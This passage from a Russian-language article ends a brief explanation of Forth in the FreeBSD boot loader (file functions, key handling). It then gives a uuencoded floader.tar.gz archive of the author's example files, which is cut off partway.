 ется 1. Полученное число сохраняется в переменной fg_color.

 Для работы с файлами используютя fopen, fread, fclose - тоже как в С.Фун-
 кция key? возвращает true,  если была нажата клавиша на клавиатуре, а key
 ждёт нажатия клавиши и возвращает соответствующий код клавиши.

 Вот в принципе и всё.Я попытался кратко описать Forth и его использование
 в операционной системе FreeBSD. Надеюсь, что хотя бы небольшая чаcть это-
 го материала будет понятна и полезна.

 floader.tar.gz:

 ---< cut here >---
begin 644 floader.tar.gz
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
M$E<5'[email protected]$7#U1'>#I(?D0O]^$S'HP0CB2=6TTXL*8&:/7H/?K"H;6%/+]#
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
M-50LE#DP)DLKFXH,.:P_?Q?YA1[^[email protected]*K:/-5J0DNVSFQ
MXT]VKK2Z%"/GENO]XYN?>K?"R89R@O#--U[^UG-0S7[Q+Z%\>$E!C_T?D!7+
M?W)R>O[B)`&SNN&_=X,B+J3&4(9+B]A!4(+?`H-H6$[*R(U7R=D8L(:)<`9]
M#A(1UZ2]J$\0)F>LYC:5ZR#T3<5VUB"68WRE51M-:EO\I<&>MHO5@\W7R[]\
M$C5<^6R+.P:M[XOL5^',GW3G*4,FU_J(]86A*TM_3;35B5T>0N%(7S&$:K_<
M@48_/@2,$=`J\E_>LL2"EDZ&0.ICY'$*554@XT)N<A*CR8H"6/!U6`6TE.?Z
M$,"ICJX-\-#N?17@--/Y(4#C#JX-P)2SRRJPY=SSAP#/='9M0!C=@%:2N?0"
M\4&T3G5UK0@>N4>MHWCF"O6A)$^Z^O3AIP(-'XF4L@C#HKB>Y"R?ARC_[BH\
MT4#SX?BWT1%XMA3"E/:B0=9F'&`L[UOX4E7?=!5B#9#CM5`")D01]64Q2$@%
M1L&L"'/1SYB%S>HR4[A%YA=39K04G[28*O>*4($E/UG1X)JA!3]'[/?_O\/"
M%?A7A)=RG\XT)3"=X.[B@LRIN*?JUM>__ZV\K[7)Q=HK1_C;;O,1*G1U3Z!$
M=F%UI9G8ZQAA?F';Y)>E7%1Z`T371LAD1;1&-"J%S=MR>92'9N4QN((N;\2@
M-Z2\A&XPJA`6>V*A9"N8@D'J&9H+X-7%M+0SE%07I%IA%',FY>5]J0X*\](.
MX&6I,,HUT\+PLE18"323&O%+L9,@R$P[D@^UN9,`LS!YVAY&55<[B="Q`O>4
M,53?18LP")3DYN"RPUJD.5UKVY/V9-\].^-8;$0CVOEBCCD%L'>*780M=Y/3
M/0YP!O$Q*0>!1*50[7T'\3Y$-=]!`^"\*^?=R9[K%K?F;#YV>[`+WKT8?::A
M,#W[XE'",YE7#C1-\581MD(YU/Q6*)"R3U7R_#B40=$:('LOW%&%X.0?`KOQ
MPOVU.X5(*./V;3LF*TUE%KC>A-78'1;4@&*^G!B75F?LC)6KRQ6>=)[EY)-.
MME!`KZGZA(>D+`"Q`\::JFU?D]<GV^$:SQ17-MBUV:C`!/JF6$*+87.,8&+/
MGQ6`T&#(@+`&!%4`X*`X/Q68[%_=F!<#&;R"A&V@*^;X33&^5_!VPU<%L_^/
M`54-'1Q':?I.&Q_$(&&;J]21_A_/=`,F-,Z5&ZIY?"BKO<P.Z9%U[7DYIL"Y
M*&X%SDDKUIDEWN^Y?_=XX"_<U^VYQ(#*@M`9K7>JR2XX=GHX`$'O(Q7A=8C(
M0)PGWLU2,Q!<S>-9*0Z<XDK/IA=].J_Z+(U=)]A^DDJV_=P//>%\X-G.#87<
M:G4<I?I:G"75`^>P81//_,^D"2RQ8?6GX,Z9U$?V8L/Z7\6P9DDKBN78L*T_
MAR!GZ8`"&[)A2Y@,K0!8PH(-&_EIT2R6*6R0$<0X/IQ<KD?.S/[7U]/)K84C
M-USD1[BINC;BRO3R[Q)T@[email protected]'64><B;Y7C1G8];0T$E.`&%*$<J20J&X!DI
MGY16&4FS#H(VN5P7!BV8U=MH:CL<X]#<,?2@"W2"E=SYL(K*[KR<W(I.-U"5
MIPKF@\0N&$*K>X(P28Q)"IT>E)I_]%C9?(_I."*#(6MA?#Z=&P-*_YMLBR/Y
M@2+P"<F;J6B57_@)7M]1QO3*:,I_"6;`_H>FZ;K5",*`,NM'K$R3WX.R$&9@
MQAU'B$PMYRY\VD`N'MJ<S*X[DJ3TL,(@L5^$)DN6TWK6R5E6F+8=FC:REOGA
M#W1FA5^SQZY?-S)?4S&"$^@`*>,U0X,NHGWSVX*35:\%1&*6+N[LA^D6BI]$
M[)-^4-P]!K/(ORN9(AVLNHS:$6F3![7&B-Y:^07N(+Z\E1SU+&VA"!(:^Q_/
M6&HW>RQJU90S$.K^<S.;>!@^X!*,?1R\TM/\?))"SPM\11A(Q%'1Z:[H^24<
M:('`7Z%O=!*I]*F\'HN=MIPGE/WM5W18ZT$QRE':QG))/AA#;TNTE8.E([Y[
M57>!@E7Z59?>+S>C'#A:(Z`.%7]88OSS6)9X?O?"/9^\GDPO)MRHWY,@+'+-
M&1QR#XW%97:LT7'1^;OO9>ER4SL#=S"R7QKWF$4FQ6/0GFP8J3&20DMD,JZU
M1AB*'#8C76EWNLKI2*ZW^*7D8G2:2O]HF`5WAKKQ5LWD*3V\+V9@GQMEDZ&C
MW1U7&0C>%2FPY@?<%;&0/P<36]$O>X<_]-PM]PH'E-V<U?*;L:X:)-Y*1;X0
MUBIH$F1?5NM??;6A?!FD4C>&\?G>QHDVO)VR*(F6C\Q71_/=H_,&<M>AP*^D
M0CH$/#ETD#(4?@[AY]`=XLK"MA>72'VE4>$IS&N1Q<?WX1)F8RB4"F1M)G63
M"`FY-=E!]CK1#<3/>$&I#8D^9DVJ.K3]>ZZ_<,17W8/=L*![#W9-4:^-D\_(
METF^R;@>ZZ1[,5)NMEZR)OG%T,ZE4H:GI(WQLB8"AN:JJ2R&;R$6!9E#AGB^
MZV80[Z/5":@BA?&G#:P8?AIEN#9Z56+-Z.-%N#IZ5:0P^K0!DM#*R/T1^@PB
M7UYX%F6*\G.4,*&+NK_C=B!8G/`L`GF)\SB7M8*LY,UI6YR-8C>*-H:E46><
M)W-&D`V^`LDPAH2]@4#J[<G-GG`M+M8+]^):W>GK4C4./>HRVH=&'(9'9OO"
M$EA2V"%;$+#?,`F!^G-S1O.]$;J@"#&`"L,R_H65;QSM?]8NEK.):Y!TB)\J
M2DL*#01X`:^/&2L)>7PCJ%`WKIDJ^E'<'SNJR7P9L%F('<8?]@0[8P?</#G`
M%F#.IV$`?3<-YL4`KYS01`MIL1_P",!G8^^W(6Y)8IBNC^_L=EFV6-O5:5?0
MQ&[/NL4F4C;6O,(QW[LB%<_(J!;`(9\N^U+L:%-:^/\.X*N=,BOA&^X_),:$
M.Y"_-#0+(-C='!.O^"K^UE2X$7V?I@7ABT]"WN:BV?5_D2+V`0W#_0D3-?3Q
M,MR>K+<Q?U(R,M>,95PCK;[1M(X_%W>X78^Z_/:%.QL,_!_WICGMCDDFZ^]Z
M"PBMQ[!H.TP-T7",:4J'U5"Z&^2K]GPKT[0`YLMJ7S7+\8*8KP[(Z$GG[U4+
MN,9.7YDV?!.WH<IYTTUN[E(.Y.GBO/$M>7:/<@OI$(ORA2<-/SFTXM,@>9;)
MS)NWE"UGUD*<OU97$EWX/LB;?+EV\E;+M-[#?<G$?P4IEG^WFT1JX@CSQEI`
M+G*D4,]:#NU(&R0T@,/%2!99)L#A(_F0?R"3@68+[2JB+LW?AGUPT<QA;X#)
MVFXT$5-(@H!=3N82]32<4[@M'\_2HJ$@<M/U@1O^Y'C<G9,)"&Y7F/>\A41N
M$I(7+JB@68#HK+X<)FN#/4QY;'Q;0V7KA9"/\Q@:WE_UBPJ*E\MN["D1*@A^
M!.]_E.C0]0`2H3;H6MOTYRVP,(L0^Y]C1O0?UB(#]]_1^W<(6(36@,:6!=H=
MI*+=Q)#M8?I]V#?)LM6T_1OI@S:U-5V,P3?R)K@@5<>M\TSM>H`\2)=$(4-[
M>^[FY^UQ]ZKSBP#:S=GED90XDA+E?"^XVMJ]-I%^"W1'C&(CA,D(I:!X1PPX
M(W?`K[_YZOFW/8G4J\)G]%Q[?#9EDHZ[_('[XR]JT__:"[Q^/`;_1L0+'E"8
MH1S6PQ`/'`BL.%-\Y8AVE"@?G:F%`X_5"F$YAHZ9/4O]!SIV"93RK7EZYCEU
MB-NMD'I`7X@1G*NEC,GD*0JAN>'2^K(@+U#KATBIF7(3H9Z[1?,:Q$:P'P@/
M=EXDB15A4\SWP&IH.O.\-<:[PK!C0S)IZF&&Y`Z<C)7%5(@P@$5'7)0ZKQ4$
MDHY`QH28N/_W\%;YU@,&BJ#-DV>#/3N\?//FDE/T4%+)EYR6C;,UQIEZK&'Q
MYPG-$Z8G29`5JNP'!J")6=!(C@`(/O3T]IW_W\"@-MA:C1WCZHA^81VT]QC(
M*\Z@AJ9!?7PU!S;&7T+.VN/7E+E)CE"]0/Z0`2NQ!LVZ]O#,(9.R*9L31]C3
MYI!C(%(#CP6A=\?SX2YPHWHJ4=K;"E53*TPA.X!L-`I9UDW&$/TI`Q6GUC7^
M"Y]'B`SL7`$Z,,;-YW/]MH5D+<TP_J+S``O9S.2PBPP9>"-BKC79#ACASI_P
MM('<LXMI*-WY_27M^0.;DM=92.#\U>R)A8,&99+T;QZDVG(Q-X@'.1#367=R
MTDY"#KA.J>[WW,M+S&G8@GNBI,ZCS_#=V3V,$1_CE&_3!&4CAVU]*[X?K=W8
M.`W':";,X""0Y.KNGXY/(AME/TW:"_,II0^0>ASF6<(,#4DV&(VG.M96B-V<
M>G9[?\<P=+Q=A1D&O9<9:=B`"NBTN)3B#DYU8=W!<27\XP[(3$Q;^%JQJ)H"
M!(K@M^Z=2%_$D'7'$4L[U4HP9FF'1O,&H-5C"FX3]A<=]M,,]CFKNSD%(ISH
MV_,#QL/\..,I#SL'C2&7S@X-*.Q#Y3:2MV`^E3GVM,W@+A*]0/)VBX4";S-(
M@?_"_=S",05HR+FN$049?3SM(.R1%2F,B-W4,<]%X;/`ZR.O(BXAR5']<7`,
M.\^3XM):QJO:SH8P-W>8:X(81KWV29ZYON!=+D@"![F:7JOC^/ED#$2)I]A!
MGJ6&PGJ]3%9G,6_'KSS[/:&L],?-O`7_`M\&CH8RGH8Q0:9E!^9V+IQ->ZCN
MW?.8U\R.S]Q44K3KB9%Y[PEDF3!\^<?E',+"'$UGHH7_V,Q#R@8\!?@"XL^7
MX%P"O7;H&-*\G$_''GGH'1@=1<0*9`V_8<=1&E-@DG8RAE]EO@DD_A"748\$
MEPTSZ,9-7>B[QI4_T#F["V;SG*9I\^`ZG"!/A+'66&,8C=-Z2<E>3`"DA6DX
M_P'!8JB-LCG=#<_EB#$[7!JIIRI:($P&:_`@NUN599&V<I&5U`<*\R0+3)':
MH92P64T0^:Q3IV1Z1$;/TF39/5.78%VVP7*%)M.>F@0>1I.L<GDU=IR(*)\'
MVRYS$-WL10-$9@VDQ6A\4\64M1RM+PF99V*]</`J3?[L].T__X68?^B6;"4R
M=$LP$.D0=[/737?'_PO^;U<XH8!(^J8>;$M`=O@9L*&O/08<XEUAV9$6MCM^
M+1*D0JE&E:)XTWZ&+,\M#3BXNCPYF;*0:CP5LPM,F4<Q=SBV=[M$_\"WY<8:
MM\3Y^[^RCSQWG!W)#S^#\?=G_AR4^13>#^](D.UUG5O`C]QRY`[]4M-GZ-KS
MB;[5A4Z_=AN:VS5TU"X(B/-`KPL9L\*O[SQK_,[:!WM`@2`TD0U#SA)$%N(M
MNW.1Q<.?Z<)?NX:4"N7QC-*YF=0P(4*R9'7S]-,SAVM`X&'/1#C,;U.7^@%*
M>+.)F2GI=2!AL!_G*$B^%?_J-X\SO.[(SB\@Y@XV$K<UIGZ*>WJ5/5;YH/#K
M!6HEY+*0SQ%>$-D^."992C<YD0RJ9$6PPRO)Q&$@6QVW1=0!]`V';S`3TM4Y
M2CX5#!])7`Q&!_(:6)NYN`@J:X-!6@Z&ILNFKN!K*D0FX+M7?'H`#SPEI2$#
M91Z8`__Z$@O(::;#V"GD8^44A02KD$L7KQP;.;7G]-R,_RM4/4'X:EY6FN\>
M::/(:43X>=H[$`<4LB02'S!0]!L]%&7RD=M89?-G36!?N&_;!;+'#MV\B3=V
MXAP>_$%);\*1"1"6<1^97623.-YV'J2+2]&W[6;'[%$S,4KO3'^3[")!:PG8
M9I>L)@,V(TR%P-%(#SF3AO@'7`6\8#'_464?XKK7V`#N044;2XR*V%/4."<W
